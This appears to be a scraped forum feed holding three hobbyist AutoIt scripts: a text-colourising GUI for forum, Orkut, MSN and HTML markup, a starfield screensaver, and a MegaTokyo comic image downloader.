Global $Color4 = IniRead($INI, "Colors", "4", "0x00FF00")
Global $Color5 = IniRead($INI, "Colors", "5", "0x0000FF")

$Dummy = GUICreate("Magic Colors", 1, 1, @DesktopWidth, @DesktopHeight)
$Window = GUICreate("Magic Colors by CoePSX", 200, 460, -1, -1, BitOr($WS_CAPTION, $WS_SYSMENU), $WS_EX_TOOLWINDOW, $Dummy)
GUICtrlCreateGroup("Category", 10, 10, 180, 75)
$ForumRadio = GUICtrlCreateRadio("Forum Post", 15, 25, 70, 15)
$OrkutRadio = GUICtrlCreateRadio("Orkut Scrap", 100, 25, 85, 15)
$MSNRadio = GUICtrlCreateRadio("MSN Text", 15, 45, 70, 15)
$MSNRadio2 = GUICtrlCreateRadio("MSN Back", 100, 45, 75, 15)
$HTMLRadio = GUICtrlCreateRadio("HTML Text", 15, 65, 75, 15)
$HTMLRadio2 = GUICtrlCreateRadio("HTML Back", 100, 65, 80, 15)
GUICtrlSetState($ForumRadio, $GUI_CHECKED)

;2 colors gradient
GUICtrlCreateGroup("Colors", 10, 90, 180, 55)
GUICtrlCreateLabel("", 15, 105, 150, 15, BitOr($SS_CENTER, $WS_BORDER))
GUICtrlSetState(-1, $GUI_DISABLE)
$ColorButton1 = GUICtrlCreateLabel("1", 16, 106, 15, 13, $SS_CENTER)
Dim $ColorExample[60]
For $i = 0 To 59
	$ColorExample[$i] = GUICtrlCreateLabel("", 30+$i*2, 106, 2, 13)
Next
$ColorButton2 = GUICtrlCreateLabel("2", 149, 106, 15, 13, $SS_CENTER)
GUICtrlSetCursor($ColorButton1, 0)
GUICtrlSetCursor($ColorButton2, 0)
$2ColorsRadio = GUICtrlCreateRadio("", 170, 105, 15, 15)
GUICtrlSetState($2ColorsRadio, $GUI_CHECKED)

;3 colors gradient
GUICtrlCreateLabel("", 15, 125, 150, 15, BitOr($SS_CENTER, $WS_BORDER))
GUICtrlSetState(-1, $GUI_DISABLE)
$ColorButton3 = GUICtrlCreateLabel("1", 16, 126, 15, 13, $SS_CENTER)
Dim $ColorExample2[26]
For $i = 0 To 25
	$ColorExample2[$i] = GUICtrlCreateLabel("", 31+$i*2, 126, 2, 13)
Next
$ColorButton4 = GUICtrlCreateLabel("2", 83, 126, 15, 13, $SS_CENTER)
Dim $ColorExample3[26]
For $i = 0 To 25
	$ColorExample3[$i] = GUICtrlCreateLabel("", 98+$i*2, 126, 2, 13)
Next
$ColorButton5 = GUICtrlCreateLabel("3", 149, 126, 15, 13, $SS_CENTER)
GUICtrlSetCursor($ColorButton3, 0)
GUICtrlSetCursor($ColorButton4, 0)
$3ColorsRadio = GUICtrlCreateRadio("", 170, 125, 15, 15)

GUICtrlCreateGroup("Settings", 10, 150, 180, 35)
$BoldCheck = GUICtrlCreateCheckbox("Bold", 15, 165, 50, 15)
$ItalicCheck = GUICtrlCreateCheckbox("Italic", 68, 165, 45, 15)
$UnderlinedCheck = GUICtrlCreateCheckbox("Underlined", 115, 165, 70, 15)

GUICtrlCreateGroup("Initial Text", 10, 190, 180, 100)
$TextBox = GUICtrlCreateInput("", 15, 205, 170, 80, BitOR($WS_VSCROLL, $ES_MULTILINE))
GUICtrlSetFont($TextBox, 8)

GUICtrlCreateGroup("Final Text", 10, 295, 180, 100)
$FinalBox = GUICtrlCreateInput("", 15, 310, 170, 80, BitOR($WS_VSCROLL, $ES_MULTILINE))
GUICtrlSetFont($FinalBox, 8)

$OK = GUICtrlCreateButton("Color it!", 10, 400, 180, 25)
$Copy = GUICtrlCreateButton("Copy", 10, 425, 60, 25)
$About = GUICtrlCreateButton("About", 70, 425, 60, 25)
$Exit = GUICtrlCreateButton("Exit", 130, 425, 60, 25)

UpdateExample()
UpdateExample2()
GUISetState(@SW_SHOW, $Dummy)
GUISetState(@SW_SHOW, $Window)

While 1
	If WinActive($Dummy, "") Then WinActivate($Window, "")
	Switch GUIGetMsg()
		Case $GUI_EVENT_CLOSE
			Exit
		Case $Exit
			Exit
		Case $ColorButton1
			$Color1 = _ChooseColor(2, $Color1, 2)
			If Not @error Then UpdateExample()
		Case $ColorButton2
			$Color2 = _ChooseColor(2, $Color2, 2)
			If Not @error Then UpdateExample()
		Case $ColorButton3
			$Color3 = _ChooseColor(2, $Color3, 2)
			If Not @error Then UpdateExample2()
		Case $ColorButton4
			$Color4 = _ChooseColor(2, $Color4, 2)
			If Not @error Then UpdateExample2()
		Case $ColorButton5
			$Color5 = _ChooseColor(2, $Color5, 2)
			If Not @error Then UpdateExample2()
		Case $About
			MsgBox(64, "Magic Colors", "-= Magic Colors =-" & @CRLF & @CRLF & "2006 - CoePSX")
		Case $Copy
			ClipPut(GUICtrlRead($FinalBox))
		Case $OK
			$PreTags = ""
			$PosTags = ""
			If GUICtrlRead($OrkutRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeOrkut(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($MSNRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeMSN(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($MSNRadio2) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeMSN2(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($ForumRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeForum(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($HTMLRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeHTML(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($HTMLRadio2) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeHTML2(GUICtrlRead($TextBox)))
			EndIf
	EndSwitch
WEnd
Exit

Func ColorizeMSN($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "·#"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "·&"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "·@"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$iRed1 = _ColorGetRed($Color[$i])
			$iGreen1 = _ColorGetGreen($Color[$i])
			$iBlue1 = _ColorGetBlue($Color[$i])
			While StringLen($iRed1) < 3 
				$iRed1 = 0 & $iRed1
			WEnd
			While StringLen($iGreen1) < 3
				$iGreen1 = 0 & $iGreen1
			WEnd
			While StringLen($iBlue1) < 3
				$iBlue1 = 0 & $iBlue1
			WEnd
			$Final &= "·$(" & $iRed1 & "," & $iGreen1 & "," & $iBlue1 & ")" & $Array[$i]
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeMSN2($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "·#"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "·&"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "·@"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		$iRed1 = _ColorGetRed($Color[$i])
		$iGreen1 = _ColorGetGreen($Color[$i])
		$iBlue1 = _ColorGetBlue($Color[$i])
		While StringLen($iRed1) < 3 
			$iRed1 = 0 & $iRed1
		WEnd
		While StringLen($iGreen1) < 3
			$iGreen1 = 0 & $iGreen1
		WEnd
		While StringLen($iBlue1) < 3
			$iBlue1 = 0 & $iBlue1
		WEnd
		$Final &= "·$,(" & $iRed1 & "," & $iGreen1 & "," & $iBlue1 & ")" & $Array[$i]
	Next
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeForum($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "[b]"
		$PosTags &= "[/b]"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "[i]"
		$PosTags &= "[/i]"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "[u]"
		$PosTags &= "[/u]"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$Final &= "[color=#" & Hex($Color[$i], 6) & "]" & $Array[$i] & "[/color]"
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeOrkut($Message)
	Dim $Color[18]
	$Color[0] = "aqua"
	$Color[1] = "blue"
	$Color[2] = "navy"
	$Color[3] = "purple"
	$Color[4] = "violet"
	$Color[5] = "pink"
	$Color[6] = "yellow"
	$Color[7] = "gold"
	$Color[8] = "orange"
	$Color[9] = "red"
	$Color[10] = "orange"
	$Color[11] = "pink"
	$Color[12] = "silver"
	$Color[13] = "gray"
	$Color[14] = "maroon"
	$Color[15] = "green"
	$Color[16] = "teal"
	$Color[17] = "lime"
	$Array = StringSplit($Message, "")
	$Final = ""
	$NowColor = ""
	$iColorInt = 0
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "[b]"
		$PosTags &= "[/b]"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "[i]"
		$PosTags &= "[/i]"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "[u]"
		$PosTags &= "[/u]"
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$NowColor = $Color[Mod($iColorInt, 18)]
			$Final &= "[" & $NowColor & "]" & $Array[$i]
			$iColorInt += 1
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	$Final &= "[/" & $NowColor & "]"
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeHTML($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "<b>"
		$PosTags &= "</b>"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "<i>"
		$PosTags &= "</i>"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "<u>"
		$PosTags &= "</u>"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$Final &= "<font style=""color:#" & Hex($Color[$i], 6) & """>" & $Array[$i]
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	$Final &= "</font>"
	Return $PreTags & $Final & $PosTags
EndFunc	
Func ColorizeHTML2($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "<b>"
		$PosTags &= "</b>"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "<i>"
		$PosTags &= "</i>"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "<u>"
		$PosTags &= "</u>"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " Then
			$Final &= "<font style=""background:#" & Hex($Color[$i], 6) & """>" & $Array[$i]
		Else
			$Final &= "<font style=""background:#" & Hex($Color[$i], 6) & """> "
		EndIf
	Next
	$Final &= "</font>"
	Return $PreTags & $Final & $PosTags
EndFunc	
Func UpdateExample()
	Local $Color = ColorGradient($Color1, $Color2, 60)
	GUICtrlSetBkColor($ColorButton1, $Color1)
	For $i = 0 To 59
		GUICtrlSetBkColor($ColorExample[$i], $Color[$i])
	Next
	GUICtrlSetBkColor($ColorButton2, $Color2)
	IniWrite($INI, "Colors", "1", $Color1)
	IniWrite($INI, "Colors", "2", $Color2)
EndFunc
Func UpdateExample2()
	Local $Color = ColorGradient($Color3, $Color4, 26)
	GUICtrlSetBkColor($ColorButton3, $Color3)
	For $i = 0 To 25
		GUICtrlSetBkColor($ColorExample2[$i], $Color[$i])
	Next
	GUICtrlSetBkColor($ColorButton4, $Color4)
	$Color = ColorGradient($Color4, $Color5, 26)
	For $i = 0 To 25
		GUICtrlSetBkColor($ColorExample3[$i], $Color[$i])
	Next
	GUICtrlSetBkColor($ColorButton5, $Color5)
	IniWrite($INI, "Colors", "3", $Color3)
	IniWrite($INI, "Colors", "4", $Color4)
	IniWrite($INI, "Colors", "5", $Color5)
EndFunc
Func TripleColorGradient($hFirstColor, $hSecondColor, $hThirdColor, $iReturnSize)
	Local $aColorArray = ColorGradient($hFirstColor, $hSecondColor, ($iReturnSize/2)+1)
	Local $aGradient = ColorGradient($hSecondColor, $hThirdColor, ($iReturnSize/2)+1)
	For $i = 0 To $iReturnSize/2
		ReDim $aColorArray[UBound($aColorArray)+1]
		$aColorArray[UBound($aColorArray)-2] = $aGradient[$i]
	Next
	Return $aColorArray
EndFunc
Func ColorGradient($hInitialColor, $hFinalColor, $iReturnSize)
	$hInitialColor = Hex($hInitialColor, 6)
	$hFinalColor = Hex($hFinalColor, 6)
	
	Local $iRed1 = Dec (StringLeft($hInitialColor, 2))
	Local $iGreen1 = Dec (StringMid($hInitialColor, 3, 2))
	Local $iBlue1 = Dec (StringMid($hInitialColor, 5, 2))
	
	Local $iRed2 = Dec (StringLeft($hFinalColor, 2))
	Local $iGreen2 = Dec (StringMid($hFinalColor, 3, 2))
	Local $iBlue2 = Dec (StringMid($hFinalColor, 5, 2))
	
	Local $iPlusRed = ($iRed2-$iRed1)/($iReturnSize-1)
	Local $iPlusBlue = ($iBlue2-$iBlue1)/($iReturnSize-1)
	Local $iPlusGreen = ($iGreen2-$iGreen1)/($iReturnSize-1)
	
	Dim $iColorArray[$iReturnSize+1]
	For $i = 0 To $iReturnSize
		$iNowRed = Floor($iRed1 + ($iPlusRed*$i))
		$iNowBlue = Floor($iBlue1 + ($iPlusBlue*$i))
		$iNowGreen = Floor($iGreen1 + ($iPlusGreen*$i))
		$iColorArray[$i] = Dec (Hex($iNowRed, 2) & Hex($iNowGreen, 2) & Hex($iNowBlue, 2))
	Next
	Return ($iColorArray)
EndFunc
Func RandomColor($hMinColor = 0x000000, $hMaxColor = 0xFFFFFF)
	$hMinColor = Hex($hMinColor, 6)
	$hMaxColor = Hex($hMaxColor, 6)
	
	Local $iRed1 = Dec (StringLeft($hMinColor, 2))
	Local $iGreen1 = Dec (StringMid($hMinColor, 3, 2))
	Local $iBlue1 = Dec (StringMid($hMinColor, 5, 2))
	
	Local $iRed2 = Dec (StringLeft($hMaxColor, 2))
	Local $iGreen2 = Dec (StringMid($hMaxColor, 3, 2))
	Local $iBlue2 = Dec (StringMid($hMaxColor, 5, 2))
	
	Local $iRndRed = Random($iRed1, $iRed2, 1)
	Local $iRndGreen = Random($iGreen1, $iGreen2, 1)
	Local $iRndBlue = Random($iBlue1, $iBlue2, 1)
	
	Return Dec (Hex($iRndRed, 2) & Hex($iRndGreen, 2) & Hex($iRndBlue, 2))
EndFunc
]]>
/hvaonline/posts/preList/3102/17780.html#17780 /hvaonline/posts/preList/3102/17780.html#17780 GMT
Windows Space Screensaver Windows Space Screensaver Code:
#include <GUIConstants.au3>

Global Const $NumberOfStars = 50
Global Const $Speed = 75  ;From 0 To 100
Global Const $Width = 640
Global Const $Height = 480

Global Const $Pi = 3.1415926535897932384626433832795
$Window = GUICreate("SPACE", $Width, $Height, -1, -1)
GUISetBkColor(0)

;Pick random positions for the stars
Dim $StarsArray[$NumberOfStars+1][4]
For $i = 0 To $NumberOfStars
    $Alpha = Random(0, 360, 1)
    $Radius = Random(0, 250, 1)
    $StarsArray[$i][0] = GUICtrlCreateLabel("", 0, 0, 1, 1)
    $StarsArray[$i][1] = $Alpha
    $StarsArray[$i][2] = $Radius
    $StarsArray[$i][3] = 1
    GUICtrlSetBkColor($StarsArray[$i][0], 0xFFFFFF)
Next

GUISetState()

While 1
    For $i = 0 To $NumberOfStars
        ;Recycle stars that are out of the screen
        If $StarsArray[$i][2] > $Width/2 Then
            $Alpha = Random(0, 360, 1)
            $Radius = Random(0, 250, 1)
            $StarsArray[$i][1] = $Alpha
            $StarsArray[$i][2] = $Radius
            $StarsArray[$i][3] = 1
        EndIf
        
        ;Adjust the thickness of the star
        Select
            Case $StarsArray[$i][2] > $Width/8 And $StarsArray[$i][2] < $Width/3
                $StarsArray[$i][3] = 2
            Case $StarsArray[$i][2] > $Width/3
                $StarsArray[$i][3] = 3
        EndSelect
        
        ;Moves the current star
        $StarsArray[$i][2] += 10
        $X = Sin(($StarsArray[$i][1]*($Pi/180))) * $StarsArray[$i][2] + $Width/2
        $Y = Cos(($StarsArray[$i][1]*($Pi/180))) * $StarsArray[$i][2] + $Height/2
        GUICtrlSetPos($StarsArray[$i][0], $X, $Y, $StarsArray[$i][3], $StarsArray[$i][3])
    Next
    Sleep(100-$Speed)
WEnd
]]>
/hvaonline/posts/preList/3102/17778.html#17778 /hvaonline/posts/preList/3102/17778.html#17778 GMT
Mega Tokyo Comic Ripper Mega Tokyo Comic Ripper Code:
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.1.1.0
 Author:         tAK Telapis

 Script Function: Grab MegaTokyo Comics
    Template AutoIt script.

NOTES:
    Create the directory c:\MegaTokyo\ before starting this script
    im not sure if it gets auto created. and its neater if it doesnt.
    on the 4th line up from the bottom, $i is matched to a number,
    this number should be set to the number of the most current comic
    as viewable at http://www.megatokyo.com , simple right click the
    current comic, and choose properties. the number is used as part
    of the filename.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

; ---------------------------------
; Set main variables here - directory for comics to be saved here, startubg comic number ($i), set file types
; ---------------------------------
$MTFolder = "C:\MegaTokyo\"
$i = 1
$gif = ".gif"
$jpg = ".jpg"

While 1 ; begin the loop
; ---------------------------------
; Set the file name for the comics as 000 is lost in calculations, default to .gif files
; ---------------------------------
$len = StringLen($i)
    If $len = 1 then
        $ComicName = ("000"&$i)
    ElseIf $len = 2 then
        $ComicName = ("00"&$i)
    ElseIf $len = 3 Then
        $ComicName = ("0"&$i)
    EndIf

; ---------------------------------
; Set the URL of the comic wanted, this keeps the InetGet function clean, check if .gif is valid, if not, change to .jpg
; ---------------------------------
$Url = "http://www.megatokyo.com/strips/"
$URLSize = InetGetSize("http://www.megatokyo.com/strips/"&$ComicName&$gif)
    If $URLSize = 0 then
        $ComicName = ($ComicNAme&$jpg)
    Else
        $ComicName = ($ComicName&$gif)
    EndIf

; ---------------------------------
; get the file, and save it to the MTFolder with the calculated ComicName
; ---------------------------------
InetGet ($url&$ComicName, $MTFolder&$ComicNAme)
; Check to see if the file exists
    If $MTFolder&$ComicName = -1 then
        MsgBox(16, "Error", "Failed to get comic # "&$ComicName)
        Exit
    EndIf
; Check to see that the file has size
$Size = FileGetSize($MTFolder&$ComicName)
    If $Size <= 1 then
        MsgBox(16, "File size is null for", $MTFolder&$ComicName" File size was "&$size)
        Exit
    EndIf
; increase the comic number by 1 to get the next comic
$i = $i + 1
If $i == 887 Then
    MsgBox(0, "End of Comics", "there are only 886 comics at the time of this script, happy reading")
    Exit
EndIf
Wend
]]>
/hvaonline/posts/preList/3102/17777.html#17777 /hvaonline/posts/preList/3102/17777.html#17777 GMT